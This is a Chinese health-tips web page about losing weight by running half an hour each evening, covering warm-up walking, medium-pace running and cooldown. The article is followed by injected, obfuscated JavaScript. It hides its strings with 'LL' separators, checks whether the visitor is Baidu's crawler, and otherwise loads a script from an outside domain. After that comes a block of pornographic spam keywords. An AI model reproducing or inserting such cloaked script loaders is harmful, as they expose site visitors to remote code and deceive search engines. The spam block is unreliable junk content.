當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

每天晚上堅(jiān)持跑步半小時(shí)可以減肥嗎

2017-04-22 01:14:47  來源:360常識網(wǎng)   熱度:
導(dǎo)語:經(jīng)常看到有想要減肥的美女們在一起討論,晚上相約一起跑個(gè)步,減個(gè)肥。但是到底跑步能不能減肥呢?這也是很多愛美的女性們關(guān)注的一個(gè)問題。

經(jīng)常看到有想要減肥的美女們在一起討論,晚上相約一起跑個(gè)步,減個(gè)肥。但是到底跑步能不能減肥呢?這也是很多愛美的女性們關(guān)注的一個(gè)問題。坦白的講,跑步是個(gè)非常有效的有氧運(yùn)動(dòng),對我們的身體會(huì)非常有好處,可是到底怎么跑才能起到減肥的效果呢? 在這里我們跑步時(shí)有幾點(diǎn)是需要我們注意的。

首先從專業(yè)教練講,就時(shí)間長度來講,是可以減肥的,以減肥為目的的跑步,時(shí)間不應(yīng)少于20分鐘,速度要慢些,以保持均勻呼吸。30分鐘的慢速長跑不但能大量耗盡體內(nèi)的糖原,而且要?jiǎng)佑皿w內(nèi)的脂肪。且由于慢速長跑不很劇烈,不會(huì)使機(jī)體過分缺氧,故有助于脂肪的消耗,從而達(dá)到減肥的目的。

另外要注意,我們在跑步之前最好先慢走5分鐘,然后逐漸加大步幅形成快走,快走的時(shí)間也為5分鐘,快走的時(shí)候,擺動(dòng)雙臂配合雙腳的運(yùn)動(dòng)。當(dāng)快走之后才慢慢進(jìn)行中速跑。中速跑適合持續(xù)30分鐘,這樣可以大量燃燒脂肪。

最后在我們中速跑結(jié)束后要慢慢減慢速度,做10分鐘的平穩(wěn)減速跑步。讓身體逐漸放松。

跑步運(yùn)動(dòng)不是說一天兩天就可以使我們減掉脂肪,這是項(xiàng)長期運(yùn)動(dòng),大家在正確的使用跑步減肥的方法時(shí),一定要長期堅(jiān)持。另外跑步之后我們可以對自己的腿部進(jìn)行大概五到十分鐘的按摩,臨睡前用熱水泡泡腳,促進(jìn)血液循環(huán),對減肥來說都會(huì)起到非常不錯(cuò)的效果。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品无码成人网站久久久久久| 中文字幕精品久久| 久久狠狠高潮亚洲精品| 国产成人精品视频网站| 久久久精品人妻一区二区三区蜜桃 | 老司机无码精品A| 国产一精品一av一免费爽爽| 最新国产精品好看的国产精品 | 无码人妻精品一区二区在线视频| 麻豆人妻少妇精品无码专区| 2020精品自拍视频曝光| 国产成人精品电影在线观看| 精品人妻人人做人人爽夜夜爽 | 亚洲精品无码成人片在线观看 | 日本精品无码一区二区三区久久久 | 精品一区二区三区无码免费直播| 国产精品久久久久无码av| 精品国产91久久久久久久| 男女男精品视频网站在线观看| 2017国产精品自拍| 亚洲国产精品第一区二区| 91麻豆精品国产| 精品少妇人妻av无码专区| 欧美精品大香伊蕉在人线| 99re视频精品全部免费| 国产精品一区二区久久不卡| 国产精品一区三区| 国产精品手机在线亚洲| 亚洲日韩一区精品射精| 91精品国产色综合久久不卡蜜| 色妞www精品视频| 国产vA免费精品高清在线观看| 国产成人福利精品视频| 久久婷婷五月综合色精品| 精品少妇ay一区二区三区 | 青草青草久热精品视频在线观看| 香港三级精品三级在线专区 | 精品亚洲AV无码一区二区 | 一本一本久久a久久精品综合| 国产精品99精品一区二区三区| 精品91自产拍在线|